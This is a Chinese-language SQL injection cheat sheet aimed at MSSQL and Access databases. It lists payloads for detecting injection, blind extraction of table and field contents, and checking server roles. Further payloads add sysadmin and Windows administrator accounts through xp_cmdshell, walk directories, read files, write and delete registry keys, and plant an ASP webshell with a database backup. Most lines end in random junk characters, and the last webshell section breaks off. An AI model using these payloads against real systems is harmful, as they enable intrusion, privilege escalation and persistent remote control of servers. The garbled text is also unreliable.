1.判断是否有注入;and 1=1 ;and 1=2 n-0RA~5z
2.初步判断是否是mssql ;and user>0 g"^<LX-
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3.注入参数是字符'and [查询条件] and ''=' yKgA"NaM
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' N"@aisi)
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5.判断数据库系统 xXQDHc-Ba
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;and (select count(*) from sysobjects)>0 mssql +<7`Gn(n3
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;and (select count(*) from msysobjects)>0 access v?vm-e
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 %9C_p]P*
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 z^'3f!:3
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 V]&0"HX2r!
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9.(1)猜字段的ascii值(access) &3#19v7/
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 /J9|.];%r
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(2)猜字段的ascii值(mssql) /-4rcC
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Y`.FSs
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10.测试权限结构(mssql)
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- _=S4H
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- D;*P'%_Z
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 ,RO
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ^}8qPBz
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Ti:PKpc
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- .ww~'5b0
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;and 1=(select IS_MEMBER('db_owner'));-- 41dB4Td5t
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11.添加mssql和系统的帐户 aGSix}b1P
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;exec master.dbo.sp_addlogin username;-- dX^ ^
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;exec master.dbo.sp_password null,username,password;-- (]ToBju
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- )jc`_{PQg
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;exec master.dbo.xp_cmdshell 'net user username password s
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- *5T^wZpj)
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 7\.{O$Q
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- xw2dNJL
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12.(1)遍历目录 lFJDdf2:$C
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;create table dirs(paths varchar(100), id int) wjEyU:
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;insert dirs exec master.dbo.xp_dirtree 'c:\' rHngYcjR
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;and (select top 1 paths from dirs)>0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ykMdH:
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(2)遍历目录 [8%R*}
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- g$S|CqRG
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 sH_B*cr3
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 .s-V:k5
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 C"7-lz
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 fmgXh)=
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13.mssql中的存储过程 2-$O$&s.
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xp_regenumvalues 注册表根键, 子键 1Y+g^Z;G
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 IEmjWw4
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xp_regread 根键,子键,键值名 |&u4Q /0
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;exec xp_regread m:-=K
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 K6Z/
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xp_regwrite 根键,子键, 值名, 值类型, 值 pE4yx5r5
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 .QVN&UyZ
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i&mt-
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xp_regdeletevalue 根键,子键,值名 8{4SaT.-Rm
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 W!Fu7a
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
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14.mssql的backup创建webshell vw2yOLRX
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use model Q ym=L(X
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create table cmd(str image); LS%;ZKJ
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insert into cmd(str) values (''); q=x1:^rVH
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backup database model to disk='c:\l.asp'; CNM pyr
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15.mssql内置函数 "30R%oL]=
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;and (select @@version)>0 获得Windows的版本号 '*=kt
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa E}lNb
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;and (select user_name())>0 爆当前系统的连接用户 6 K-jje;)
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;and (select db_name())>0 得到当前连接的数据库 'U*Kb
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16.简洁的webshell M
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use model >A.m`w
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create table cmd(str image); W.m2`] &